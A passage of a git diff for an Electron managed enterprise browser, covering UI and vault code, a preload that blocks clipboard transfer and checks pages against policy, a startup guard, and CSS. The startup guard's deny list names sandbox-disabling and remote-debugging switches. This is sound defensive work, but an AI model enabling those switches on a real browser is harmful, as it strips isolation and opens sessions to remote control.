if(document.activeElement!==$('address'))$('address').value=startPageOpen?'':s.url||''; + $('managed').title=s.message;$('address-form').querySelector('.address-lock').src=s.url?.startsWith('https:')?'icons/lock-keyhole.svg':'icons/globe.svg'; + $('ai-toggle').disabled=!s.aiEnabled;$('sidebar').disabled=!s.ready;$('send').disabled=!s.aiEnabled; + $('agents').disabled=!s.agentsEnabled;$('inspect').disabled=!s.documentScanEnabled;$('passwords').disabled=!s.ready||s.passwordManagerEnabled===false; + $('inspect').title=s.documentScanEnabled?'Inspect a document locally':'Document analysis is disabled by company policy'; + $('back').disabled=!s.ready||!currentTab().canGoBack;$('forward').disabled=!s.ready||!currentTab().canGoForward;$('reload').disabled=!s.ready||currentTab().startPage;$('address').disabled=!(s.canNavigate??s.ready); + if(vaultPanel&&s.vaultLocked===true&&vaultState?.locked!==true){vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();$('vault-open').hidden=true;vaultState={...vaultState,locked:true};refreshVault().catch(()=>{});} + if(vaultPanel&&s.passwordManagerEnabled===false)closeVault().catch(()=>{}); + if(!s.ready){if(panel)closeAI().catch(()=>{});if(vaultPanel)closeVault().catch(()=>{});clearVaultFields();} + document.documentElement.style.setProperty('--page-tint',/^#[a-f0-9]{6}$/i.test(s.pageColor||'')?s.pageColor:'#b8c7dd'); + if($('start-greeting'))$('start-greeting').textContent='A fresh place to begin'; + if($('sidebar-toggle'))$('sidebar-toggle').disabled=!s.ready; + if($('new-tab'))$('new-tab').disabled=!s.ready;if($('tab-overview'))$('tab-overview').disabled=!s.ready; + applyManagedSettings();updateChrome().catch(()=>{});renderTabs();renderLibrary(); +} +function task(fn){return async event=>{event?.preventDefault();$('error').textContent='';try{await fn();}catch(e){$('error').textContent=e.message;$('managed').textContent=e.message;}};} +function vaultTask(fn){return async event=>{event?.preventDefault();if(vaultBusy)return;vaultBusy=true;$('vault-error').textContent='';try{await fn();}catch{$('vault-error').textContent='The vault action could not be completed. Check your password and company policy.';}finally{vaultBusy=false;$('vault-master').value='';$('vault-confirm').value='';}};} +function input(){return {server:$('server').value,code:$('code').value};} +$('enroll').onclick=task(async()=>{$('enroll').disabled=true;try{show(await call('enroll',input()));$('code').value='';}finally{$('enroll').disabled=false;}}); +$('sso').onclick=task(async()=>{$('sso').disabled=true;try{show(await call('sso',input()));}finally{$('sso').disabled=false;}}); +$('address-form').onsubmit=task(async()=>navigateTab($('address').value)); +for(const method of ['back','forward','reload'])$(method).onclick=task(()=>call(method)); +$('ai-toggle').onclick=$('sidebar').onclick=task(async()=>{if(panel)await closeAI();else await openAI();}); +$('ai-close').onclick=task(closeAI); +$('inspect').onclick=task(async()=>{ + requireSection('documentScan',true);$('inspect').disabled=true;try{const result=await call('inspectFile');if(!result)return;await openAI();entry(`Inspection: ${result.name}\nDecision: ${result.decision}\nDetector: ${result.ruleId||'No match'}\nType: ${result.contentType}\nComplete coverage: ${result.coverage.complete}\n${result.model?`Model: ${result.model}`:''}\nAnalyzed locally. This result does not authorize a website upload.`);}finally{show(await call('state'));} +}); +function entry(text){const empty=$('conversation').querySelector('.empty-chat');empty?.remove();const e=document.createElement('div');e.className='entry';e.textContent=text;$('conversation').append(e);e.scrollIntoView();} +$('agents').onclick=task(async()=>{requireSection('agents',true);const connection=await call('agentConnection');await openAI();entry(`Local agent API\nEndpoint: ${connection.address}\nEncrypted pairing file: ${connection.credentialPath}\nUse the trusted local helper. Every action follows company policy.`);}); +$('ai-form').onsubmit=task(async()=>{const prompt=$('prompt').value;if(!prompt.trim())return;entry(`You: ${prompt}`);$('send').disabled=true;try{const result=await call('ai',prompt);entry(result.answer);$('prompt').value='';}catch(e){entry(e.message);}finally{$('send').disabled=!lastState?.aiEnabled;}}); +async function refreshVault(){ + const revision=++vaultRevision;const status=await call('vaultStatus');if(!vaultPanel||revision!==vaultRevision)return;const previous=vaultState;vaultState=status; + $('vault-access').hidden=!status.enabled||!status.locked&&status.exists;$('vault-open').hidden=!status.enabled||status.locked||!status.exists; + $('vault-access-submit').textContent=status.exists?'Unlock vault':'Create vault';$('vault-master').autocomplete=status.exists?'current-password':'new-password'; + $('vault-confirm').hidden=status.exists;$('vault-confirm-label').hidden=status.exists;$('vault-confirm').required=!status.exists&&status.enabled; + $('master-label').textContent=status.exists?'Master password':'Choose a master password'; + $('vault-description').textContent=!status.enabled?'Password storage is disabled by your administrator.':status.locked||!status.exists?'Your encrypted logins stay on this device. Unlock with your master password.':`Unlocked · locks after ${status.idleLockSeconds} seconds of inactivity.`; + $('vault-add').hidden=!status.allowSaving;$('vault-save-submit').disabled=!status.allowSaving;$('vault-generate').disabled=!status.allowSaving; + if(!status.enabled||status.locked||!status.exists){if(!status.enabled||previous?.locked===false)clearVaultFields();$('vault-list').replaceChildren();return;} + const entries=await call('vaultList');if(!vaultPanel||revision!==vaultRevision)return;$('vault-list').replaceChildren(); + if(!entries.length){const empty=document.createElement('div');empty.className='empty-vault';empty.textContent='No saved logins yet.';$('vault-list').append(empty);} + for(const item of entries){const card=document.createElement('div');card.className='login-card';const label=document.createElement('strong');label.textContent=item.label||item.origin;const origin=document.createElement('p');origin.textContent=item.origin;const username=document.createElement('p');username.textContent=item.username||'No username';const buttons=document.createElement('div');buttons.className='login-buttons';const fill=document.createElement('button');fill.textContent='Fill login';fill.disabled=!status.allowAutofill;fill.onclick=vaultTask(async()=>{await call('vaultFill',item.id);$('vault-error').textContent='Login filled in the current page.';});const remove=document.createElement('button');remove.className='secondary';remove.textContent='Delete';remove.disabled=!status.allowSaving;remove.onclick=vaultTask(async()=>{await call('vaultDelete',item.id);await refreshVault();});buttons.append(fill,remove);card.append(label,origin,username,buttons);$('vault-list').append(card);} +} +$('passwords').onclick=vaultTask(async()=>{requireSection('passwords',true);if(vaultPanel){await closeVault();return;}await closeAI();vaultPanel=true;$('vault').hidden=false;$('passwords').setAttribute('aria-expanded','true');await call('toggleVault',true);await refreshVault();}); +$('vault-close').onclick=vaultTask(closeVault); +$('vault-access').onsubmit=vaultTask(async()=>{const exists=vaultState?.exists,master=$('vault-master').value;if(!exists&&master!==$('vault-confirm').value){$('vault-error').textContent='The master passwords do not match.';return;}await call(exists?'vaultUnlock':'vaultCreate',master);$('vault-master').value='';$('vault-confirm').value='';await refreshVault();}); +$('vault-lock').onclick=vaultTask(async()=>{vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();await call('vaultLock');await refreshVault();}); +$('vault-save').onsubmit=vaultTask(async()=>{await call('vaultSave',{origin:$('vault-origin').value,label:$('vault-label').value,username:$('vault-username').value,password:$('vault-password').value});clearVaultFields();$('vault-add').open=false;await refreshVault();}); +$('vault-generate').onclick=vaultTask(async()=>{const generated=await call('vaultGenerate');$('vault-password').value=typeof generated==='string'?generated:generated.password;}); +$('vault-add').ontoggle=()=>{if($('vault-add').open&&lastState?.url&&!$('vault-origin').value){try{$('vault-origin').value=new URL(lastState.url).origin;}catch{}}else if(!$('vault-add').open)$('vault-password').value='';}; +window.addEventListener('blur',()=>{vaultRevision++;clearVaultFields();$('vault-list').replaceChildren();if(vaultPanel)call('vaultLock').then(refreshVault).catch(()=>{});}); +window.addEventListener('pagehide',()=>{clearVaultFields();if(vaultPanel)call('vaultLock').catch(()=>{});}); +setInterval(()=>{if(vaultPanel&&!vaultBusy)refreshVault().catch(()=>{clearVaultFields();$('vault-list').replaceChildren();});},5000); +function wire(id,handler){if($(id))$(id).onclick=task(handler);} +wire('sidebar-toggle',async()=>{requireSection('library');sidebarOpen=!sidebarOpen;$('sidebar-toggle').setAttribute('aria-expanded',String(sidebarOpen));await updateChrome();}); +wire('new-tab',newTab);wire('tab-overview',async()=>{overviewOpen=!overviewOpen;startPageOpen=!!currentTab().startPage;$('tab-overview').setAttribute('aria-expanded',String(overviewOpen));renderTabs();await updateChrome();}); +wire('overview-close',async()=>{overviewOpen=false;startPageOpen=!!currentTab().startPage;await updateChrome();}); +for(const action of ['minimize','maximize','close'])wire(`window-${action}`,()=>call('windowControls',action)); +wire('share-url',()=>call('shareURL')); +wire('bookmark',async()=>{requireSection('library',true);if(!lastState?.bookmarks?.allowUserAdd)throw Error('Adding bookmarks is disabled by your administrator');await openBookmarkEditor();}); +wire('reading-add',async()=>{requireSection('library',true);await call('authorizeSetting','library');requireSection('library',true);if(!lastState?.ready)throw Error('Open an approved page first');const url=safeURL(lastState.url);if(!url)throw Error('This page cannot be saved');if(!readingList.some(b=>b.url===url)){readingList.push({url,title:String(lastState.pageTitle||new URL(url).hostname).slice(0,160)});readingList=readingList.slice(-100);remember('reading-list',readingList);renderLibrary();}}); +wire('group-add',async()=>{requireSection('library',true);await call('authorizeSetting','library');requireSection('library',true);const field=$('group-name'),label=field?.value.trim();if(!label)throw Error('Enter a tab group name');if(label.length>40)throw Error('Tab group names are limited to 40 characters');if(!groups.includes(label)){if(groups.length>=20)throw Error('At most 20 tab groups are supported');groups.push(label);remember('groups',groups);}show(await call('groupTab',{id:currentTab().id,group:label}));groupFilter=label;field.value='';renderLibrary();renderTabs();}); +for(const [quick,original] of [['quick-ai','ai-toggle'],['quick-passwords','passwords'],['quick-inspect','inspect'],['quick-agents','agents']])wire(quick,()=>$(original).click()); +wire('tools-toggle',async()=>{if(!lastState?.settings?.available||!lastState.settings.visible)throw Error('Settings are managed by your administrator.');const menu=$('tools-menu');if(menu){menu.hidden=!menu.hidden;$('tools-toggle').setAttribute('aria-expanded',String(!menu.hidden));await updateChrome();}}); +for(const id of ['theme-mode','accent-mode','tab-mode'])$(id).onchange=task(async()=>{ + requireSection('appearance',true); + try{const settings=await call('updateSettings',{mode:$('theme-mode').value==='auto'?'system':$('theme-mode').value,accent:$('accent-mode').value,tabMode:$('tab-mode').value});lastState={...lastState,settings};} + finally{applyManagedSettings();} +}); +window.addEventListener('resize',()=>updateChrome().catch(()=>{})); +document.addEventListener('click',event=>{const menu=$('tools-menu');if(!menu||menu.hidden)return;if(event.target.closest('.menu-item')||(!event.target.closest('#tools-menu')&&!event.target.closest('#tools-toggle'))){menu.hidden=true;$('tools-toggle')?.setAttribute('aria-expanded','false');updateChrome().catch(()=>{});}}); +window.addEventListener('keydown',event=>{if(event.ctrlKey&&event.key.toLowerCase()==='t'&&lastState?.ready){event.preventDefault();newTab().catch(()=>{});}if(event.key==='Escape'&&overviewOpen){overviewOpen=false;startPageOpen=!!currentTab().startPage;updateChrome().catch(()=>{});}}); +applyAppearance();renderTabs();renderLibrary(); +window.safetynet.onState(show);call('state').then(show).catch(e=>{$('error').textContent=e.message;}); diff --git a/apps/browser/site-preload.cjs b/apps/browser/site-preload.cjs new file mode 100644 index 0000000..fffd02b --- /dev/null +++ b/apps/browser/site-preload.cjs @@ -0,0 +1,50 @@ +const {ipcRenderer}=require('electron'); +if(process.sandboxed!==true||process.contextIsolated!==true){ipcRenderer.send('managed:clipboard-sandbox-failure');window.stop();throw Error('Managed renderer sandbox and isolation are required');} +// Native shortcuts and guarded menus are the only supported clipboard transfer paths. +// Prevent page handlers/legacy execCommand from replacing approved plaintext with hidden data. +// Freeze the legacy command primitive in the page realm. Document.open() removes +// DOM listeners, but cannot replace this non-configurable prototype property. +try { + require('electron').contextBridge.executeInMainWorld({func:()=>{ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + // Replacement clears security listeners; these unsupported legacy APIs fail closed. + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + }}); +} catch { + require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure'); + window.stop(); + throw Error('Managed clipboard primitive could not be protected'); +} +for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,event=>{event.preventDefault();event.stopImmediatePropagation();},true); +window.addEventListener('beforeinput',event=>{if(/^(insertFromPaste|insertFromDrop|deleteByCut)/.test(event.inputType||'')){event.preventDefault();event.stopImmediatePropagation();}},true); +let visualEnabled=ipcRenderer.sendSync('managed:visual-policy').enabled; +const documentToken=typeof crypto.randomUUID==='function'?crypto.randomUUID():Array.from(crypto.getRandomValues(new Uint8Array(16)),value=>value.toString(16).padStart(2,'0')).join('');let visualRevision=0,visualApproved=!visualEnabled,visualScheduled=false; +ipcRenderer.on('managed:visual-config',(_event,input)=>{visualEnabled=input.enabled===true;visualApproved=!visualEnabled;visualRevision++;visualChanged();ipcRenderer.send('managed:visual-configured',input.token);}); +function visualChanged(){ + if(!visualEnabled)return;visualRevision++;visualApproved=false; + if(visualScheduled)return;visualScheduled=true; + setTimeout(async()=>{visualScheduled=false;const revision=visualRevision,url=location.href; + try{const result=await ipcRenderer.invoke('managed:visual-check',{token:documentToken,revision,url});if(revision===visualRevision&&url===location.href)visualApproved=result.decision==='allow';}catch{visualApproved=false;} + if(!visualApproved&&revision===visualRevision)setTimeout(visualChanged,1000); + },150); +} +for(const name of ['keydown','beforeinput','paste','submit','pointerdown'])window.addEventListener(name,event=>{ + if(!visualEnabled||visualApproved)return; + const element=event.target; + if(name==='submit'||element?.closest?.('input,textarea,[contenteditable="true"],button[type="submit"]')){event.preventDefault();event.stopImmediatePropagation();visualChanged();} +},true); +// This isolated-world preload exposes no bridge or automation capability to sites. +let scheduled=false,last=''; +function inspect(){scheduled=false;const text=(document.body?.innerText||'').slice(0,250000);if(text===last)return;last=text;ipcRenderer.send('managed:page-content',{text});} +function schedule(){if(!scheduled){scheduled=true;setTimeout(inspect,350);}} +window.addEventListener('DOMContentLoaded',()=>{schedule();visualChanged();new MutationObserver(()=>{schedule();visualChanged();}).observe(document,{childList:true,subtree:true,characterData:true,attributes:true});}); diff --git a/apps/browser/startup-security.cjs b/apps/browser/startup-security.cjs new file mode 100644 index 0000000..49f71f2 --- /dev/null +++ b/apps/browser/startup-security.cjs @@ -0,0 +1,22 @@ +'use strict'; +// Check only switch names. Arguments, paths, credentials and agent payloads never enter errors. +const BLOCKED_SWITCHES=Object.freeze([ + 'no-sandbox','disable-gpu-sandbox','disable-web-security','allow-running-insecure-content', + 'remote-debugging-port','remote-debugging-pipe','remote-debugging-socket-name', + 'load-extension','disable-extensions-except','disable-site-isolation-trials','disable-site-isolation-for-policy', + 'single-process','in-process-gpu','renderer-cmd-prefix','utility-cmd-prefix','gpu-launcher', + 'inspect','inspect-brk','inspect-wait','inspect-port','debug','debug-brk','debug-port' +]); +const failure=()=>{throw new Error('Unsafe browser startup configuration');}; +function assertSecureStartup(commandLine,nodeExecArgv=process.execArgv){ + try{ + if(!commandLine||typeof commandLine.hasSwitch!=='function'||!Array.isArray(nodeExecArgv))return failure(); + for(const name of BLOCKED_SWITCHES){const present=commandLine.hasSwitch(name);if(typeof present!=='boolean'||present)return failure();} + // Electron/Node can consume inspector flags before they reach Chromium's CommandLine. + for(const argument of nodeExecArgv){if(typeof argument!=='string'||/^--(?:inspect(?:-brk|-wait|-port)?|debug(?:-brk|-port)?)(?:=|$)/.test(argument))return failure();} + // NODE_OPTIONS can activate Node's inspector without appearing in process.execArgv. + if(require('node:inspector').url())return failure(); + return true; + }catch{return failure();} +} +module.exports={assertSecureStartup,BLOCKED_SWITCHES}; diff --git a/apps/browser/style.css b/apps/browser/style.css new file mode 100644 index 0000000..59cc744 --- /dev/null +++ b/apps/browser/style.css @@ -0,0 +1,1684 @@ +/* Shell design tokens and system font fallback. */ +:root { + font-family: -apple-system,BlinkMacSystemFont,"SF Pro Text","Segoe UI Variable","Segoe UI",system-ui,sans-serif; + --chrome-height: 104px; + --sidebar-width: 240px; + --page-tint: #b8c8df; + --accent: #0969da; + --accent-text: #0969da; + --text: #25272c; + --muted: #767b85; + --line: #171b2412; + --surface: #ffffffa8; + --glass: #f0f1f6b8; + --base: #f5f6fa; + --hover: #2428310a; + --panel: #fafbfde8; + --shadow: 0 12px 36px #29314c16; + color: var(--text); + background: transparent; +} + +* { + box-sizing: border-box; +} + +html,body { + margin: 0; + width: 100%; + height: 100%; + overflow: hidden; +} + +body { + background: var(--base); + border-radius: 20px; + box-shadow: 0 20px 80px #101a3440; + --chrome-height: 104px; + color: var(--text); +} + +body[data-tab-mode=compact] { + --chrome-height: 64px; +} + +body.window-maximized { + border-radius: 0; +} + +button,input,textarea,select { + font: inherit; +} + +button { + border: 0; + border-radius: 10px; + background: var(--accent); + color: white; + padding: 10px 15px; + font-size: 12px; + font-weight: 600; + cursor: pointer; + -webkit-app-region: no-drag; +} + +button:disabled { + opacity: .35; + cursor: default; +} + +button:hover:not(:disabled) { + filter: brightness(.98); +} + +img { + width: 18px; + height: 18px; + display: block; + pointer-events: none; +} + +.icon-button { + display: inline-flex; + justify-content: center; + align-items: center; + width: 32px; + height: 32px; + padding: 7px; + background: transparent; + color: var(--muted); + border-radius: 10px; +} + +.icon-button:hover:not(:disabled) { + background: var(--hover); +} + +.icon-button[aria-expanded=true] { + background: color-mix(in srgb,var(--accent) 9%,transparent); +} + +.icon-button img { + opacity: .68; +} + +.secondary { + background: var(--hover); + color: var(--text); +} + + +/* Glass chrome: CSS blur/tint approximation; no refraction of native website pixels. */ +#chrome { + position: relative; + height: var(--chrome-height); + background: color-mix(in srgb,var(--page-tint) 14%,var(--glass)); + backdrop-filter: blur(35px) saturate(1.5); + border-bottom: 1px solid var(--line); + border-radius: 20px 20px 0 0; + z-index: 30; + -webkit-app-region: drag; + padding: 0 12px; + box-shadow: inset 0 1px 0 #ffffffc0; +} + +.toolbar { + height: 64px; + display: grid; + grid-template-columns: 190px minmax(180px,600px) 170px; + justify-content: space-between; + align-items: center; + gap: 18px; +} + +.toolbar-leading,.toolbar-trailing { + display: flex; + align-items: center; + gap: 3px; +} + +.toolbar-trailing { + justify-content: flex-end; + gap: 5px; +} + + +/* Real window controls. The toolbar is draggable; every interactive control is no-drag. */ +.traffic-lights { + display: flex; + gap: 8px; + align-items: center; + padding-right: 10px; + flex-shrink: 0; +} + +.traffic { + width: 12px; + height: 12px; + border-radius: 50%; + padding: 0; + border: 1px solid #00000012; + display: grid; + place-items: center; +} + +.traffic img { + width: 8px; + height: 8px; + opacity: 0; + filter: none!important; +} + +.traffic-lights:hover .traffic img { + opacity: .65; +} + +.traffic.close { + background: #ff605a; +} + +.traffic.minimize { + background: #ffbd2e; +} + +.traffic.maximize { + background: #28c840; +} + +#address-form { + display: flex; + align-items: center; + height: 36px; + padding: 0 5px 0 12px; + border-radius: 12px; + background: var(--surface); + border: 1px solid #ffffffb0; + box-shadow: 0 1px 2px #1e284410,inset 0 0 0 1px #0e20350b; + min-width: 0; + -webkit-app-region: no-drag; + backdrop-filter: blur(16px); +} + +.address-lock { + width: 12px; + height: 12px; + opacity: .5; +} + +#address { + border: 0; + background: transparent; + flex: 1; + min-width: 0; + text-align: center; + font-size: 12px; + color: var(--text); + padding: 8px; + outline: none; +} + +#address::placeholder { + color: var(--muted); +} + +#address:focus { + text-align: left; +} + +#address-form:focus-within { + box-shadow: 0 0 0 3px color-mix(in srgb,var(--accent) 10%,transparent),inset 0 0 0 1px color-mix(in srgb,var(--accent) 33%,transparent); +} + +#address-form .icon-button { + width: 25px; + height: 25px; +} + +#address-form .icon-button img { + width: 13px; + height: 13px; +} + + +/* Separate tabs use 104px chrome; compact tabs stay visible within 64px. */ +.tab-row { + height: 40px; + display: flex; + align-items: center; + gap: 12px; + justify-content: space-between; +} + +#tab-strip { + display: flex; + align-items: center; + gap: 5px; + overflow: auto; + scrollbar-width: none; + flex: 1; + min-width: 0; + -webkit-app-region: no-drag; +} + +.browser-tab { + position: relative; + background: transparent; + color: var(--muted); + font-size: 11px; + font-weight: 400; + height: 29px; + min-width: 120px; + max-width: 240px; + flex: 1; + padding: 6px 12px; + text-align: center; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + border-radius: 11px; +} + +.browser-tab.active,.browser-tab[aria-selected=true] { + background: var(--surface); + color: var(--text); + box-shadow: 0 1px 2px #263a4e08,inset 0 1px 0 #ffffffa0; +} + +.browser-tab:hover { + background: var(--hover); +} + +.tab-close { + padding: 0; + width: 18px; + height: 18px; + margin-left: 7px; + background: transparent; + color: var(--muted); + font-size: 14px; + position: absolute; + right: 5px; + top: 5px; +} + +.security-state { + display: flex; + align-items: center; + gap: 5px; + color: var(--muted); + background: #ffffff35; + border: 1px solid var(--line); + border-radius: 18px; + padding: 3px 8px; + max-width: 30%; + height: 22px; + font-size: 9px; + flex-shrink: 0; + -webkit-app-region: no-drag; +} + +.security-state img { + width: 11px; + height: 11px; + opacity: .5; +} + +#managed { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.security-state.paused { + color: #a76a2b; + background: #eab75b12; +} + +body[data-tab-mode=compact] .tab-row { + height: 0; +} + +body[data-tab-mode=compact] #tab-strip { + position: absolute; + top: 6px; + left: 220px; + right: 200px; + height: 23px; +} + +body[data-tab-mode=compact] .browser-tab { + height: 22px; + font-size: 10px; + padding: 4px 9px; + min-width: 70px; + border-radius: 9px; +} + +body[data-tab-mode=compact] .tab-close { + top: 2px; + height: 17px; +} + +body[data-tab-mode=compact] #address-form { + margin-top: 24px; + height: 27px; + border-radius: 9px; +} + +body[data-tab-mode=compact] .security-state { + display: none; +} + + +/* Trusted tools menu. Native layout hides website pixels while this overlay is open. */ +.glass-popover { + position: fixed; + right: 12px; + top: 58px; + width: 258px; + z-index: 80; + background: var(--panel); + border: 1px solid #ffffff90; + box-shadow: var(--shadow); + backdrop-filter: blur(35px) saturate(1.4); + padding: 10px; + border-radius: 18px; + -webkit-app-region: no-drag; +} + +.menu-caption { + font-size: 9px; + letter-spacing: 1px; + color: var(--muted); + padding: 2px 9px; + margin: 5px 0 7px; +} + +.menu-item { + display: flex; + align-items: center; + gap: 10px; + width: 100%; + padding: 9px 10px; + font-size: 12px; + font-weight: 400; + background: transparent; + color: var(--text); + text-align: left; + border-radius: 9px; +} + +.menu-item img { + width: 16px; + height: 16px; + opacity: .7; +} + +.menu-item:hover { + background: var(--hover); +} + +.menu-divider { + height: 1px; + background: var(--line); + margin: 8px; +} + +#settings { + display: grid; + grid-template-columns: 1fr 112px; + gap: 9px; + align-items: center; + padding: 4px 8px; +} + +#settings label { + margin: 0; + font-size: 12px; + font-weight: 400; +} + +#settings select { + background: var(--surface); + color: var(--text); + border: 1px solid var(--line); + border-radius: 7px; + padding: 5px 7px; + font-size: 12px; + -webkit-app-region: no-drag; +} + +.appearance-status { + margin: 10px 8px 2px; + color: var(--muted); + font-size: 11px; + line-height: 1.5; +} + + +/* Right sidebars: 360px; left library: 240px. */ +aside { + position: fixed; + right: 0; + top: var(--chrome-height); + bottom: 0; + width: 360px; + background: var(--panel); + border-left: 1px solid var(--line); + padding: 20px; + display: flex; + flex-direction: column; + overflow: auto; + z-index: 35; + backdrop-filter: blur(24px); +} + +#library { + left: 0; + right: auto; + width: var(--sidebar-width); + padding: 17px 12px; + border-left: 0; + border-right: 1px solid var(--line); + background: color-mix(in srgb,var(--page-tint) 9%,var(--glass)); + z-index: 34; +} + +.library-brand { + display: flex; + gap: 11px; + align-items: center; + padding: 7px 8px 24px; +} + +.brand-monogram { + width: 30px; + height: 30px; + border-radius: 10px; + display: grid; + place-items: center; + background: #ffffff85; + box-shadow: 0 1px 6px #0000000b; + font-size: 18px; + font-weight: 600; + color: #657087; +} + +.library-brand strong { + display: block; + font-size: 13px; + font-weight: 600; +} + +.library-brand span { + display: block; + font-size: 9px; + color: var(--muted); + margin-top: 3px; +} + +.library-item { + display: flex; + align-items: center; + gap: 11px; + background: transparent; + color: var(--text); + width: 100%; + text-align: left; + font-size: 12px; + font-weight: 400; + padding: 9px 11px; + border-radius: 9px; +} + +.library-item img { + width: 16px; + height: 16px; + opacity: .65; +} + +.library-item:hover,.library-item.active { + background: var(--hover); +} + +.library-heading { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 8px; + font-weight: 600; + letter-spacing: 1px; + color: var(--muted); + padding: 22px 11px 7px; +} + +.library-heading .icon-button { + width: 22px; + height: 22px; + padding: 4px; +} + +.library-heading .icon-button img { + width: 12px; + height: 12px; +} + +.library-footer { + margin-top: auto; + display: flex; + gap: 7px; + align-items: center; + padding: 18px 10px 3px; + color: var(--muted); + font-size: 9px; +} + +.library-footer img { + width: 13px; + height: 13px; + opacity: .5; +} + +#library-tabs,#library-groups { + display: flex; + flex-direction: column; + gap: 3px; +} + +#library-tabs button,#library-groups button { + width: 100%; + background: transparent; + color: var(--text); + text-align: left; + font-size: 11px; + font-weight: 400; + padding: 8px 10px; + border-radius: 8px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +#library-tabs button.active,#library-groups button.active { + background: color-mix(in srgb,var(--accent) 7%,transparent); + color: var(--accent-text); +} + + +/* Enrollment and policy-paused state. */ +#welcome { + position: fixed; + left: 0; + right: 0; + top: var(--chrome-height); + bottom: 0; + display: flex; + align-items: center; + justify-content: center; + background: radial-gradient(ellipse at 50% 5%,color-mix(in srgb,var(--page-tint) 28%,transparent),transparent 70%),var(--base); + z-index: 20; +} + +.card { + width: 490px; + max-width: 90vw; + background: var(--surface); + border: 1px solid #ffffff75; + border-radius: 25px; + padding: 32px 36px; + box-shadow: var(--shadow); + backdrop-filter: blur(30px); +} + +.welcome-mark { + display: grid; + place-items: center; + background: color-mix(in srgb,var(--accent) 5%,transparent); + border-radius: 14px; + width: 48px; + height: 48px; +} + +.welcome-mark img { + width: 25px; + height: 25px; + opacity: .7; +} + +.eyebrow { + font-size: 9px; + font-weight: 600; + letter-spacing: 1.4px; + color: var(--muted); + margin: 20px 0 7px; +} + +h1 { + font-size: 30px; + letter-spacing: -1px; + margin: 10px 0; + font-weight: 600; +} + +p { + font-size: 12px; + line-height: 1.65; + color: var(--muted); +} + +label { + display: grid; + gap: 7px; + font-size: 11px; + font-weight: 600; + margin: 16px 0 7px; + color: var(--muted); +} + +input,textarea { + width: 100%; + border: 1px solid var(--line); + border-radius: 10px; + padding: 10px 11px; + background: var(--surface); + color: var(--text); + font-size: 12px; + -webkit-app-region: no-drag; +} + +.actions { + display: flex; + gap: 9px; + margin: 18px 0; +} + +.actions button { + flex: 1; +} + +small { + display: block; + color: var(--muted); + font-size: 10px; + line-height: 1.6; +} + +#error,#vault-error { + color: #c95e55; + font-size: 12px; +} + +#error:empty,#vault-error:empty { + display: none; +} + + +/* AI and vault panels preserve existing security controls. */ +.panel-title { + display: flex; + align-items: center; + justify-content: space-between; +} + +.panel-title .eyebrow { + font-size: 8px; + margin: 0 0 6px; + letter-spacing: 1.1px; +} + +h2 { + font-size: 20px; + font-weight: 600; + letter-spacing: -.5px; + margin: 0; +} + +.panel-description { + font-size: 11px; + margin: 13px 0 20px; + color: var(--muted); +} + +.panel-title .icon-button { + width: 28px; + height: 28px; +} + +#conversation { + flex: 1; + overflow: auto; + min-height: 90px; + white-space: pre-wrap; + font-size: 12px; + line-height: 1.7; +} + +.entry { + padding: 12px; + background: var(--hover); + border-radius: 13px; + margin-bottom: 12px; + overflow-wrap: anywhere; +} + +.empty-chat { + text-align: center; + margin: 65px 12px 20px; + white-space: normal; +} + +.empty-chat img { + margin: auto; + width: 30px; + height: 30px; + opacity: .4; +} + +.empty-chat h3 { + font-size: 15px; + font-weight: 500; + letter-spacing: -.3px; + color: var(--muted); +} + +.empty-chat p { + font-size: 12px; + color: var(--muted); +} + +#ai-form { + border: 1px solid var(--line); + border-radius: 16px; + background: var(--surface); + padding: 8px; + margin-top: 15px; +} + +#prompt { + height: 95px; + resize: vertical; + border: 0; + max-height: 200px; + background: transparent; + font-size: 12px; + padding: 6px; + outline: none; +} + +.composer-footer { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 9px; + color: var(--muted); + padding: 4px; +} + +.composer-footer button { + display: flex; + gap: 6px; + align-items: center; + padding: 7px 10px; + border-radius: 8px; +} + +.composer-footer img { + width: 14px; + height: 14px; + filter: invert(1); +} + +#vault-access-submit { + width: 100%; + margin: 14px 0; +} + +#vault-access-note { + margin-top: 4px; +} + +#vault-open { + display: flex; + flex-direction: column; + gap: 15px; +} + +.vault-actions { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 11px; + color: var(--muted); +} + +.vault-actions button { + padding: 6px 10px; +} + +.login-card { + padding: 13px; + border: 1px solid var(--line); + border-radius: 13px; + background: var(--surface); + margin-bottom: 9px; +} + +.login-card strong { + display: block; + font-size: 12px; + font-weight: 600; + overflow-wrap: anywhere; +} + +.login-card p { + font-size: 10px; + margin: 5px 0; + overflow-wrap: anywhere; +} + +.login-buttons { + display: flex; + gap: 7px; + margin-top: 10px; +} + +.login-buttons button { + padding: 6px 10px; + font-size: 10px; +} + +.empty-vault { + text-align: center; + padding: 25px 8px; + color: var(--muted); + font-size: 12px; +} + +details { + border-top: 1px solid var(--line); + padding-top: 15px; +} + +summary { + font-size: 12px; + font-weight: 600; + cursor: pointer; + color: var(--accent-text); +} + +#vault-save label { + font-size: 10px; +} + +#vault-save input { + font-size: 11px; +} + + +/* Local start page and navigation-record overview. */ +#start-page { + position: fixed; + inset: var(--chrome-height) 0 0; + overflow: auto; + background: radial-gradient(ellipse at 65% 0%,color-mix(in srgb,var(--page-tint) 32%,transparent),transparent 65%),var(--base); + z-index: 19; + display: block; +} + +body.sidebar-open #start-page,body.sidebar-open #overview { + left: 